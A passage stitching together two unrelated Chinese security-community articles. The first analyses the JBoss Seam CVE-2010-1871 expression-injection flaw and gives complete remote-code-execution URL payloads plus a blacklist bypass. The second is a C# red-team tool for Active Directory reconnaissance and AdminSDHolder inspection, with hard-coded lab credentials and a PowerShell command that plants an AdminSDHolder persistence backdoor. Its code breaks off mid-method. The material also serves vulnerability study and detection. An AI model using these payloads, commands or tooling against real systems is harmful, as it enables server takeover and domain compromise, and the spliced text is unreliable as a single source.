介绍中提到：”仅当未正确配置Java安全管理器时，这才是漏洞。“但其实这个漏洞有两个不同的点，如下图，当我们在Metasploit中搜索
cve-2010-1871时：
存在两个exploit，首先看第一个`auxiliary/admin/http/jboss_seam_exec`的配置
可以看到其实这个exploit 利用的点在`/seam-booking/home.seam`
而`exploit/multi/http/jboss_seam_upload_exec`的配置：
这个 exploit 利用点在`/admin-console.login.seam`，当配置了java安全管理器后，该漏洞利用不成功。
本文中利用点为：`/seam-booking/home.seam`
#### 2、案例搭建
环境需求：`Ubuntu 18.04`、`jdk 1.6`、`ant 1.6`、`JBoss AS 5.0.1`、`JBoss-seam
2.2.0.CR1`
首先安装 jdk1.6，配置环境变量：
* `chmod u+x /usr/lib/jvm/java/jdk-6u45-linux-x64.bin` 为文件添加可执行权限
* `./jdk-6u45-linux-x64.bin`执行解压文件
* `mkdir -p /usr/lib/jvm/` 创建 jdk 存放文件夹
* `cp -r jdk1.6.0_45 /usr/lib/jvm/`将解压后的jdk文件放到刚才创建的文件夹中
* 安装`java/javac/javaws/jar`命令
update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.6.0_45/bin/javac 1
update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.6.0_45/bin/java 1
update-alternatives --install /usr/bin/javaws javaws /usr/lib/jvm/jdk1.6.0_45/bin/javaws 1
update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk1.6.0_45/bin/jar 1
update-alternatives --config javac
update-alternatives --config java
update-alternatives --config javaws
update-alternatives --config jar
* 执行`java -version`命令，若出现版本信息，则安装成功
配置 ant 1.6环境：
* 首先打开 profile 文件`sudo vim /etc/profile`
* 在文件尾部添加以下内容：
# 存放 ant 的目录路径
export ANT_HOME=/home/panda/www/ant
# 刚才安装的 jdk 目录路径
export JAVA_HOME=/usr/lib/jvm
# 下面默认
export PATH=$JAVA_HOME/bin:$PATH:$ANT_HOME/bin
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
上述环境变量配置完毕后，执行命令`source /etc/profile`刷新环境变量
配置 JBoss AS 5.0.1：
* 解压`jboss-5.0.1.GA.zip`
* 打开`/server/default/deploy/jbossweb.sar/server.xml`文件，搜索`${jboss.bind.address}`，将其改为`0.0.0.0`，如下所示：
<!-- A HTTP/1.1 Connector on port 8080 -->
<Connector protocol="HTTP/1.1" port="8080" address="0.0.0.0"
connectionTimeout="20000" redirectPort="8443" />
<!-- Add this option to the connector to avoid problems with
.NET clients that don't implement HTTP/1.1 correctly
restrictedUserAgents="^.*MS Web Services Client Protocol 1.1.4322.*$"
-->
<!-- A AJP 1.3 Connector on port 8009 -->
<Connector protocol="AJP/1.3" port="8009" address="0.0.0.0"
redirectPort="8443" />
安装`JBoss-seam 2.2.0.CR1`：
* 解压`JBoss-seam 2.2.0.CR1.zip`
* 将解压后的文件放在jboss 目录下，如下图所示：
* 进入`/jboss-seam`目录，编辑`build.properties`文件，在文件尾行加入以下代码：
# 该路径为 Jboss 的安装目录路径
jboss.home /home/panda/www/jboss
* 进入`jboss-seam/examples/booking`目录，然后执行安装命令：`ant deploy`，程序会自动安装，如下图所示：
安装完毕后在进入jboss 安装的根目录下的`bin`文件，执行`./run.sh`命令，如下图所示：
安装完毕后，在本机环境即可打开该站点，如下图所示：
#### 3、案例漏洞分析
本案例漏洞的原因是因为JBoss EL表达式解析的问题导致了表达式注入。漏洞文件为：`jboss-seam/examples/booking/exploded-archives/jboss-seam-booking.ear/jboss-seam.jar`
反编译后可以得到源码，目录如下：
在本目录下的/navigation/Pages.java 文件是漏洞的入口，关键代码如下：
private static boolean callAction(FacesContext facesContext) {
boolean result = false;
// 获取 HTTP 参数 actionOutcome 的值
String outcome = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionOutcome");
String fromAction = outcome;
if (outcome == null) {
// 获取 HTTP 参数 actionMethod 的值
String actionId = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
if (actionId != null) {
if (!SafeActions.instance().isActionSafe(actionId))
return result;
String expression = SafeActions.toAction(actionId);
result = true;
Expressions.MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
outcome = toString(actionExpression.invoke(new Object[0]));
fromAction = expression;
handleOutcome(facesContext, outcome, fromAction);
}
} else {
handleOutcome(facesContext, outcome, fromAction);
}
return result;
}
获取参数，其中如果获取到 actionOutcome 参数，那么直接传入`handleOutcome` 函数中：
// handleOutcome 方法
public static void handleOutcome(FacesContext facesContext, String outcome, String fromAction) {
facesContext.getApplication().getNavigationHandler().handleNavigation(facesContext, fromAction, outcome);
Contexts.getPageContext().flush();
}
直接调用`facesContext.getApplication().getNavigationHandler().handleNavigation()`
这句其实等价于我们常见的语句：`FacesContext.getCurrentInstance().getExternalContext().redirect()`
是 JSF中的导航处理，继续看`handleNavigation` 函数：
// handleNavigation 方法
public void handleNavigation(FacesContext context, String fromAction, String outcome) {
if (!context.getResponseComplete())
{
if (isOutcomeViewId(outcome)) {
FacesManager.instance().interpolateAndRedirect(outcome);
} else if (Init.instance().isJbpmInstalled() && Pageflow.instance().isInProcess() && Pageflow.instance().hasTransition(outcome)) {
Pageflow.instance().navigate(context, outcome);
} else if (!Pages.instance().navigate(context, fromAction, outcome)) {
this.baseNavigationHandler.handleNavigation(context, fromAction, outcome);
}
}
}
如果为当前请求没有调用`responseComplete()`方法，则进一步传入`isOutcomeViewId()`方法进行判断：
// isOutcomeViewId() 方法
private static boolean isOutcomeViewId(String outcome) {
return (outcome != null && outcome.startsWith("/"));
}
若传入的参数不为空，并且以`/`开头，则进入`FacesManager.instance().interpolateAndRedirect()`方法，最后经过以下栈的调用进行了
JBoss EL 表达式的解析：
* interpolateAndRedirect (FacesManager.java)
* interpolate (Interpolator.java)
* interpolateExpressions (Interpolator.java)
* createValueExpression (Expressions.java)
整个漏洞流程如下图所示：
漏洞的逻辑线上面介绍的比较清楚了，下面的关键是如何构建我们想要的 JBoss EL 表达式。JBoss EL 表达式是在 Java EL
表达式基础上的增强。比如说我们想进行参数绑定，那么可以：
<h:commandButton action="#{hotelBooking.bookHotel(hotel.id, user.username)}"value="Book Hotel"/>
如果想要进行参数值绑定，那么可以：
#{person.name.length()}
// 使用length()方法返回一个字符串的长度
JBoss EL 解析器可以在JBoss
EL语句中引用服务器端会话对象、会话对象的属性以及参数。在解析基础对象后，用户可以在该对象上调用任意方法。这样一来就使得我们可以通过反射的方式来访问其他任何类及其方法，如我们常用的`java.lang.Runtime`，我们可以通过下面的语句引用来`java.lang.Runtime`类：
expressions.getClass().forName('java.lang.Runtime')
根据反射的基础知识，我们可以通过反射调用类后，来获取该类的单一方法或者所有方法。
如获取所有的方法：
expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()
获取单一方法：
expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')
执行命令：
expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')
这样整个 EL 表达式的最终效果就出来了：
%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')}
结合上面的一些函数要求：
* 要有`actionOutcome`参数
* `actionOutcome`参数要以`/`开头
* 要有目的导航地址
* 要含有`?`符号
* `?`符号后要有参数
* EL 表达式要在`?参数=`的后面
综上，payload 最终如下：
/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('gnome-calculator')}
访问后，会返回：
/seam-booking/test.seam?canshu=java.lang.UNIXProcess%40ef99e17&cid=118
执行效果如下：
网上也有其他形式的 payload，首先使用`getDeclaredMethods()`得到所有方法，然后采用数组的形式调用指定方法。
假设我们想知道`java.lang.Runtime.getRuntime()`的方法是多少序号，那么可以尝试访问：
/seam-booking/home.seam?actionOutcome=/test.xhtml?xxx=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[0]}
返回的是：
/seam-booking/test.seam?xxx=public+void+java.lang.Runtime.exit%28int%29&cid=143
明显不是我们想要的`java.lang.Runtime()`，可以继续尝试`getDeclaredMethods()[1]`
最终得到结果如下：
`getDeclaredMethods()[6]`等价于`java.lang.Runtime.getRuntime.exec()`
`getDeclaredMethods()[13]`等价于`java.lang.Runtime.getRuntime()`
因此最后的 payload 就为：
/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[6].invoke(null), 'gnome-calculator')}
执行效果：
#### 4、修复方案
针对于本漏洞，官方修了两次
<https://securitytracker.com/id?1024253>
<https://securitytracker.com/id/1028601>
第一次是对`actionOutcome`中检查是否包含`#{`等字符做了检查，这样完全使得 EL 表达式不能通过 http
传参的方式传入解析。第二次是对另一个参数`actionId`的修复，这里简单说下这个漏洞。
Seam 2.2.2.Final以后，
JBoss创建了一个黑名单，`/src/main/org/jboss/seam/blacklist.properties`，针对以下内容进行了过滤：
.getClass()
.addRole(
.getPassword(
.removeRole(
但是依旧被绕过了，可以使用类似数组的运算符来处理黑名单模式（此处方法来自于
orange大神的思路：[点此访问](http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html)，本人未经过验证，有兴趣可以试一试）：
把
"".getClass().forName("java.lang.Runtime")
改成
""["class"].forName("java.lang.Runtime")
因为JBoss Seam 只能在 JBoss EAP 7 下使用，而JBoss EAP 也在2016/11月停止维护，所以现在 JBoss Seam
受到的风险很高（因为忽略了一些安全人员提交的漏洞以及依旧在使用不是最新版本的第三方函数库）
## 0x05 总结
代码审计重要的是实际去做，去尝试，所以在动手研究、分析和复现后，收获是巨大的，本文的所有安装包及相关程序以及上传至项目文件，有兴趣的朋友可以自己下载去复现。
## 0x06 参考
<https://cloud.tencent.com/developer/article/1547286>
<https://www.cnblogs.com/jayus/p/11435116.html>
<http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html>
<https://docs.huihoo.com/jboss/seam/2.0.0.GA/reference/zh-cn/elenhancements.html>
<https://www.anquanke.com/post/id/156078>
<https://blog.orange.tw/2016/12/java-web.html>
<http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html> | 社区文章 |
刚好有这方面需求，然后第一次写c#，代码比较垃圾，文章写的可能有点小乱但是全部代码已经贴出--。轻喷~~~~，成都有1加我好友。
获取基本信息例如：获取域类计算机，用户，组和密码策略
# 0x01 活动目录信息获取
ldapsearch基本命令：
-x 进行简单认证
-D 用来绑定服务器的DN
-h 目录服务的地址
-w 绑定DN的密码
-f 使用ldif文件进行条目添加的文件
例子 ldapadd -x -D "cn=root,dc=starxing,dc=com" -w secret -f /root/test.ldif
ldapadd -x -D "cn=root,dc=starxing,dc=com" -w secret (这样写就是在命令行添加条目)
ldapsearch
-x 进行简单认证
-D 用来绑定服务器的DN
-w 绑定DN的密码
-b 指定要查询的根节点
-H 制定要查询的服务器
## 1.1 获取用户
"(&(objectClass=user)(objectCategory=person))"
ldapsearch -x -H ldap://192.168.11.16 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(objectClass=user)(objectCategory=person))" | grep name
## 1.2 获取计算机
"(&(objectCategory=computer)(objectClass=computer))"
ldapsearch -x -H ldap://192.168.11.16 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(objectCategory=computer)(objectClass=computer))" | grep cn
## 1.3 获取所有组
"(&(objectCategory=group))"
ldapsearch -x -H ldap://192.168.11.16 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(objectCategory=group))" | grep -E "cn:"
## 1.4 c#实现以上功能
首先要判断在域外还是在域内
先写一个连接ldap方法：
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.DirectoryServices;
namespace LdaopDemo
{
public class Ldapconn
{
public static DirectoryEntry coon = null;
public static DirectorySearcher search = null;
public static string url = "";
public static string user = "";
public static string pass = "";
//域内
public static DirectoryEntry ldap_coon_nopass(DirectoryEntry ldap_coon)
{
ldap_coon = new DirectoryEntry();
return ldap_coon;
}
public static DirectorySearcher ldap_search_nopass(DirectorySearcher ldap_search)
{
ldap_search = new DirectorySearcher(coon);
return ldap_search;
}
public static DirectoryEntry Get_coon_nopass()
{
coon = ldap_coon_nopass(coon);
return coon;
}
public static DirectorySearcher Get_search_nopass()
{
search = ldap_search_nopass(search);
return search;
}
//域外
public static void SET_LDAP_USER_PASS()
{
Console.Write("Domain IP:");
url = Console.ReadLine();
url = "LDAP://" + url;
Console.Write("user:");
user = Console.ReadLine();
Console.Write("pass:");
pass = Console.ReadLine();
//url = "LDAP://192.168.11.16";
//user = "hack";
//pass = "test123..";
String path = "CN=AdminSDHolder,CN=System,DC=redteam,DC=local";
}
public static DirectoryEntry ldap_coon(DirectoryEntry ldap_coon)
{
ldap_coon = new DirectoryEntry(url, user, pass);
return ldap_coon;
}
public static DirectorySearcher ldap_search(DirectorySearcher ldap_search)
{
ldap_search = new DirectorySearcher(coon);
return ldap_search;
}
public static DirectoryEntry Get_coon()
{
coon = ldap_coon(coon);
return coon;
}
public static DirectorySearcher Get_search()
{
search = ldap_search(search);
return search;
}
}
}
通过判断url是否为空来进行判断是在域外还是在域内
public static DirectoryEntry coon = null;
public static DirectorySearcher search = null;
public static void LDAP_COON()
{
if (Ldapconn.url == "")
{
try
{
coon = Ldapconn.Get_coon_nopass();
search = Ldapconn.Get_search_nopass();
}
catch
{
Console.Write("coon error");
}
}
else
{
try
{
coon = Ldapconn.Get_coon();
search = Ldapconn.Get_search();
}
catch
{
Console.Write("coon error");
}
}
}
获取域内用户，计算机，组
public void GetComputers()
{
LDAP_COON();
//查询域内机器
search.Filter = "(&(objectclass=computer))";
Console.WriteLine("===========All Computers===========");
foreach (SearchResult r in search.FindAll())
{
string computername = "";
try
{
computername = r.Properties["dnshostname"][0].ToString();
Console.WriteLine(computername);
}
catch
{
Console.WriteLine("error");
}
}
}
public void GetAllUsers()
{
LDAP_COON();
//查询域内用户
search.Filter = "(&(objectClass=user)(objectCategory=person))";
Console.WriteLine("===========All Users===========");
foreach (SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
Console.WriteLine(users);
}
catch
{
Console.WriteLine("error");
}
}
}
public void GetAllGroups()
{
LDAP_COON();
//获取域内所有组：
search.Filter = "(&(objectCategory=group))";
Console.WriteLine("===========All Groups===========");
foreach (SearchResult r in search.FindAll())
{
string groups = "";
string groupdescription = "";
try
{
groups = r.Properties["cn"][0].ToString();
groupdescription = r.Properties["description"][0].ToString();
Console.WriteLine("Group: " + groups);
Console.WriteLine("Description: " + groupdescription + "\r\n");
}
catch
{
Console.WriteLine("error");
}
}
获取密码策略：
lockoutDuration 锁定持续时间
lockoutThreshold 多少次锁定
maxPwdAge 最大修改密码时间
minPwdAge 最小修改密码时间
minPwdLength 最小密码长度
public void GetPassPolicy()
{
LDAP_COON();
Console.WriteLine("===========Pass Policy===========");
SearchResult r = search.FindOne();
long maxDays = 0;
long minDays = 0;
Int64 maxPwdAge = 0;
Int64 minPwdAge = 0;
string minPwdLength = "";
string lockoutThreshold = "";
Int64 lockoutDuration = 0;
long lockTime = 0;
try
{
maxPwdAge = (Int64)r.Properties["maxPwdAge"][0];
maxDays = maxPwdAge / -864000000000;
minPwdAge = (Int64)r.Properties["minPwdAge"][0];
minDays = minPwdAge / -864000000000;
minPwdLength = r.Properties["minPwdLength"][0].ToString();
lockoutThreshold = r.Properties["lockoutThreshold"][0].ToString();
lockoutDuration = (Int64)r.Properties["lockoutDuration"][0];
lockTime = lockoutDuration / -864000000000;
Console.WriteLine("minPwdAge:" + minDays);
Console.WriteLine("maxPwdAge:" + maxDays);
Console.WriteLine("minPwdLength:" + minPwdLength);
Console.WriteLine("lockoutThreshold:" + lockoutThreshold);
Console.WriteLine("lockoutDuration:" + lockTime);
}
catch
{
Console.WriteLine("error");
}
}
# 0x02 检测AdminSDHolder
AdminSDHolder是一个特殊的AD容器，具有一些默认安全权限，用作受保护的AD账户和组的模板。
Active
Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组，以防止意外和无意的修改并确保对这些对象的访问是安全的。
如果能够修改AdminSDHolder对象的ACL，那么修改的权限将自动应用于所有受保护的AD账户和组。
受保护的AD账户和组的特征如下：
AdminCount属性为1。
但是，如果对象已移出受保护组，其AdminCount属性仍为1，也就是说，有可能获得曾经是受保护组的帐户和组。
**枚举受保护的AD用户：**
**枚举受保护的AD组：**
这里来对hack用户添加
域控执行
PS C:\Users\Administrator\Desktop> Import-Module ActiveDirectoryPS C:\Users\Administrator\Desktop> Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity hack -Rights All
Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-151877218-3666268517-4145415712-1123"} | select objectdn,ActiveDirectoryRights |sort -Unique
可以看到hack用户对该组具有完全控制权限
这里再来通过powershell添加一个用户hack2
## 2.1 c#实现检测功能
我们前面已经把hack用户添加完全控制权限，使用c#输出AdminCount为1的用户是无法输出出来的
LDAP_COON();
//person
search.Filter = "(&(objectcategory=person)(admincount=1))";
Console.WriteLine("===========AdminSDHolder Users===========");
foreach (SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
Console.WriteLine(users);
}
catch
{
Console.WriteLine("error");
}
}
//group
search.Filter = "(&(objectcategory=group)(admincount=1))";
Console.WriteLine("===========AdminSDHolder Groups===========");
foreach (SearchResult r in search.FindAll())
{
string groups = "";
try
{
groups = r.Properties["name"][0].ToString();
Console.WriteLine(groups);
}
catch
{
Console.WriteLine("error");
}
}
可以看到并不存在hack用户而且输出出来的也不一定对AdminSDHoler组有完全控制权限，所以直接通过查询ace来进行判断
直接通过绑定path为:LDAP://CN=AdminSDHolder,CN=System,DC=your domain,DC=local来查询
每个域的domain name不一样所以先查询domain name
public static String GetDomainDNS()
{
LDAP_COON();
search.Filter = "(&(objectClass=domainDNS))";
foreach (SearchResult r in search.FindAll())
{
string domainDNS_Name = "";
try
{
domainDNS_Name = r.Properties["distinguishedName"][0].ToString();
Domain_DNS_Name = domainDNS_Name;
}
catch
{
Console.WriteLine("error");
Domain_DNS_Name = "error";
}
}
return Domain_DNS_Name;
}
但是如果在域内这里代码拼接就会出现问题所以还要查询dns_first_name也就比如说redteam.local中的redteam
public static String Get_Dns_First_Name()
{
LDAP_COON();
search.Filter = "(&(objectClass=domainDNS))";
foreach (SearchResult r in search.FindAll())
{
string domainDC_Name = "";
try
{
domainDC_Name = r.Properties["dc"][0].ToString();
Dns_First_Name = domainDC_Name;
}
catch
{
Console.WriteLine("error");
Dns_First_Name = "error";
}
}
return Dns_First_Name;
}
sid转换为name
public string SidToUserName(string sid)
{
LDAP_COON();
if(Ldapconn.url == "")
{
string url = "LDAP://<SID=" + sid + ">";
DirectoryEntry coon = new DirectoryEntry(url);
DirectorySearcher search = new DirectorySearcher(coon);
search.Filter = "(&(objectClass=user)(objectCategory=person))";
foreach (SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
return users;
}
catch
{
Console.WriteLine("error");
}
}
}
else
{
string url = Ldapconn.url+"/<SID=" + sid + ">";
string username = "hack";
string password = "test123..";
//Console.WriteLine(url);
DirectoryEntry coon = new DirectoryEntry(url, username, password);
DirectorySearcher search = new DirectorySearcher(coon);
search.Filter = "(&(objectClass=user)(objectCategory=person))";
foreach (SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
return users;
}
catch
{
Console.WriteLine("error");
}
}
}
return "error";
}
然后查询具有GenericAll权限的用户
Console.WriteLine("===========AdminSDHolder ACL===========");
string dns_name = basicInfo.GetDomainDNS();//DC=redteam,DC=local
String AdminSDHolder_path = "/CN=AdminSDHolder,CN=System," + dns_name;
String AdminSDHoler_Acl = "";
if (Ldapconn.url == "")
{
string dc_name = Get_Dns_First_Name();
AdminSDHolder_path = "LDAP://" + dc_name + ":389" + AdminSDHolder_path; //LDAP://redteam:389/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
}
else
{
AdminSDHolder_path = Ldapconn.url + AdminSDHolder_path;
}
// //Ldapconn.url == "LDAP://name:389"
//Console.WriteLine(AdminSDHolder_path);
coon.Path = AdminSDHolder_path;
ActiveDirectorySecurity sec = coon.ObjectSecurity;
AuthorizationRuleCollection rules = null;
rules = sec.GetAccessRules(true, true, typeof(NTAccount));
Console.WriteLine("===========GenericAll===========");
foreach (ActiveDirectoryAccessRule rule in rules)
{
if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
{
string acl = rule.IdentityReference.Value;
if (acl.Contains("-"))
{
//Console.WriteLine(acl);
string user_name = SidToUserName(acl);
Console.WriteLine(user_name);
}
else
{
Console.WriteLine(acl);
}
}
}
## 2.2 Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using NDesk.Options;
using LdaopDemo.BasicInfo;
using LdaopDemo.backdoor;
namespace LdaopDemo
{
class Program
{
public static String dns_name = "";
public static void ShowHelp(OptionSet p)
{
Console.WriteLine("Usage:");
p.WriteOptionDescriptions(Console.Out);
}
static void Main(string[] args)
{
var _GetComputers = false;
var _GetUsers = false;
var _GetGroups = false;
var _pass = false;
var show_help = false;
var _policy = false;
var _AdminSDHolder = false;
OptionSet options = new OptionSet()
{
{"GetComputers","get all computers\n",v=>_GetComputers= v != null },
{"GetUsers","get all users\n",v=>_GetUsers =v!= null},
{"GetGroups","get all groups\n",v=>_GetGroups =v!= null},
{"pass","out domain\n", v => _pass = v != null},
{"GetPassPolicy","get pass policy\n",v => _policy = v != null},
{"AdminSDHolder","AdminSDHolder\n",v => _AdminSDHolder = v != null},
{"h|help","Show Help\n", v => show_help = v != null}
};
try
{
options.Parse(args);
if (show_help)
{
ShowHelp(options);
return;
}
basicInfo getinfo = new basicInfo();
AdminSDHolder _adminsdholder = new AdminSDHolder();
if (_GetComputers)
{
if (!_pass)
{
getinfo.GetComputers();
}else if (_pass)
{
Ldapconn.SET_LDAP_USER_PASS();
dns_name = basicInfo.GetDomainDNS();
Console.WriteLine("===========Domain DNS===========");
Console.WriteLine(dns_name);
getinfo.GetComputers();
}
}
if (_GetUsers)
{
if (!_pass)
{
getinfo.GetAllUsers();
}
else if (_pass)
{
Ldapconn.SET_LDAP_USER_PASS();
dns_name = basicInfo.GetDomainDNS();
Console.WriteLine("===========Domain DNS===========");
Console.WriteLine(dns_name);
getinfo.GetAllUsers();
}
}
if (_GetGroups)
{
if (!_pass)
{
getinfo.GetAllGroups();
}
else if (_pass)
{
Ldapconn.SET_LDAP_USER_PASS();
dns_name = basicInfo.GetDomainDNS();
Console.WriteLine("===========Domain DNS===========");
Console.WriteLine(dns_name);
getinfo.GetAllGroups();
}
}
if (_policy)
{
if (!_pass)
{
getinfo.GetPassPolicy();
}else if (_pass)
{
Ldapconn.SET_LDAP_USER_PASS();
dns_name = basicInfo.GetDomainDNS();
Console.WriteLine("===========Domain DNS===========");
Console.WriteLine(dns_name);
getinfo.GetPassPolicy();
}
}
if (_AdminSDHolder)
{
if (!_pass)
{
_adminsdholder.EnumUsersAndGroups_AdminSDHolder();
}
else if (_pass)
{
Ldapconn.SET_LDAP_USER_PASS();
dns_name = basicInfo.GetDomainDNS();
Console.WriteLine("===========Domain DNS===========");
Console.WriteLine(dns_name);
_adminsdholder.EnumUsersAndGroups_AdminSDHolder();
}
}
}
catch
{
Console.WriteLine("error!");
}
}
}
}
## 2.3 Ldapcoon.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.DirectoryServices;
namespace LdaopDemo
{
public class Ldapconn
{
public static DirectoryEntry coon = null;
public static DirectorySearcher search = null;
public static string url = "";
public static string user = "";
public static string pass = "";
//域内
public static DirectoryEntry ldap_coon_nopass(DirectoryEntry ldap_coon)
{
ldap_coon = new DirectoryEntry();
return ldap_coon;
}
public static DirectorySearcher ldap_search_nopass(DirectorySearcher ldap_search)
{
ldap_search = new DirectorySearcher(coon);
return ldap_search;
}
public static DirectoryEntry Get_coon_nopass()
{
coon = ldap_coon_nopass(coon);
return coon;
}
public static DirectorySearcher Get_search_nopass()
{
search = ldap_search_nopass(search);
return search;
}
//域外
public static void SET_LDAP_USER_PASS()
{
Console.Write("Domain IP:");
url = Console.ReadLine();
url = "LDAP://" + url;
Console.Write("user:");
user = Console.ReadLine();
Console.Write("pass:");
pass = Console.ReadLine();
//url = "LDAP://192.168.11.16";
//user = "hack";
//pass = "test123..";
String path = "CN=AdminSDHolder,CN=System,DC=redteam,DC=local";
}
public static DirectoryEntry ldap_coon(DirectoryEntry ldap_coon)
{
ldap_coon = new DirectoryEntry(url, user, pass);
return ldap_coon;
}
public static DirectorySearcher ldap_search(DirectorySearcher ldap_search)
{
ldap_search = new DirectorySearcher(coon);
return ldap_search;
}
public static DirectoryEntry Get_coon()
{
coon = ldap_coon(coon);
return coon;
}
public static DirectorySearcher Get_search()
{
search = ldap_search(search);
return search;
}
}
}
## 2.4 basicInfo.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.DirectoryServices;
namespace LdaopDemo.BasicInfo
{
class basicInfo
{
public static DirectoryEntry coon = null;
public static DirectorySearcher search = null;
public static String Domain_DNS_Name = "";
public static void LDAP_COON()
{
if (Ldapconn.url == "")
{
try
{
coon = Ldapconn.Get_coon_nopass();
search = Ldapconn.Get_search_nopass();
}
catch
{
Console.Write("coon error");
}
}
else
{
try
{
coon = Ldapconn.Get_coon();
search = Ldapconn.Get_search();
}
catch
{
Console.Write("coon error");
}
}
}
public static String GetDomainDNS()
{
LDAP_COON();
search.Filter = "(&(objectClass=domainDNS))";
foreach (SearchResult r in search.FindAll())
{
string domainDNS_Name = "";
try
{
domainDNS_Name = r.Properties["distinguishedName"][0].ToString();
Domain_DNS_Name = domainDNS_Name;
}
catch
{
Console.WriteLine("error");
Domain_DNS_Name = "error";
}
}
return Domain_DNS_Name;
}
public void GetComputers()
{
LDAP_COON();
//查询域内机器
search.Filter = "(&(objectclass=computer))";
Console.WriteLine("===========All Computers===========");
foreach (SearchResult r in search.FindAll())
{
string computername = "";
try
{
computername = r.Properties["dnshostname"][0].ToString();
Console.WriteLine(computername);
}
catch
{
Console.WriteLine("error");
}
}
}
public void GetAllUsers()
{
LDAP_COON();
//查询域内用户
search.Filter = "(&(objectClass=user)(objectCategory=person))";
Console.WriteLine("===========All Users===========");
foreach (SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
Console.WriteLine(users);
}
catch
{
Console.WriteLine("error");
}
}
}
public void GetAllGroups()
{
LDAP_COON();
//获取域内所有组：
search.Filter = "(&(objectCategory=group))";
Console.WriteLine("===========All Groups===========");
foreach (SearchResult r in search.FindAll())
{
string groups = "";
string groupdescription = "";
try
{
groups = r.Properties["cn"][0].ToString();
groupdescription = r.Properties["description"][0].ToString();
Console.WriteLine("Group: " + groups);
Console.WriteLine("Description: " + groupdescription + "\r\n");
}
catch
{
Console.WriteLine("error");
}
}
//密码策略
/*
lockoutDuration 锁定持续时间
lockoutThreshold 多少次锁定
maxPwdAge 最大修改密码时间
minPwdAge 最小修改密码时间
minPwdLength 最小密码长度
*/
}
public void GetPassPolicy()
{
LDAP_COON();
Console.WriteLine("===========Pass Policy===========");
SearchResult r = search.FindOne();
long maxDays = 0;
long minDays = 0;
Int64 maxPwdAge = 0;
Int64 minPwdAge = 0;
string minPwdLength = "";
string lockoutThreshold = "";
Int64 lockoutDuration = 0;
long lockTime = 0;
try
{
maxPwdAge = (Int64)r.Properties["maxPwdAge"][0];
maxDays = maxPwdAge / -864000000000;
minPwdAge = (Int64)r.Properties["minPwdAge"][0];
minDays = minPwdAge / -864000000000;
minPwdLength = r.Properties["minPwdLength"][0].ToString();
lockoutThreshold = r.Properties["lockoutThreshold"][0].ToString();
lockoutDuration = (Int64)r.Properties["lockoutDuration"][0];
lockTime = lockoutDuration / -864000000000;
Console.WriteLine("minPwdAge:" + minDays);
Console.WriteLine("maxPwdAge:" + maxDays);
Console.WriteLine("minPwdLength:" + minPwdLength);
Console.WriteLine("lockoutThreshold:" + lockoutThreshold);
Console.WriteLine("lockoutDuration:" + lockTime);
}
catch
{
Console.WriteLine("error");
}
}
}
}
## 2.5 AdminSDHolder.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.DirectoryServices;
using System.Security.AccessControl;
using System.Security.Principal;
using LdaopDemo.BasicInfo;
using System.Text.RegularExpressions;
namespace LdaopDemo.backdoor
{
class AdminSDHolder
{
public static DirectoryEntry coon = null;
public static DirectorySearcher search = null;
public static string Dns_First_Name = "";
public static void LDAP_COON()
{
if (Ldapconn.url == "")
{
try
{
coon = Ldapconn.Get_coon_nopass();
search = Ldapconn.Get_search_nopass();
}
catch
{
Console.Write("coon error");
}
}
else
{
try
{
coon = Ldapconn.Get_coon();
search = Ldapconn.Get_search();
}
catch
{
Console.Write("coon error");
}
}
}
public static String Get_Dns_First_Name()
{
LDAP_COON();
search.Filter = "(&(objectClass=domainDNS))";
foreach (SearchResult r in search.FindAll())
{
string domainDC_Name = "";
try
{
domainDC_Name = r.Properties["dc"][0].ToString();
Dns_First_Name = domainDC_Name;
}
catch
{
Console.WriteLine("error");
